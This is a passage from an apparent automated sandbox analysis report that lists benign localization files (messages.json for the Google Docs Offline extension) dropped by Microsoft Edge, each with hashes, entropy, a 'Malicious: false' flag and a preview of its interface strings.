Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir2504_2030608839\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

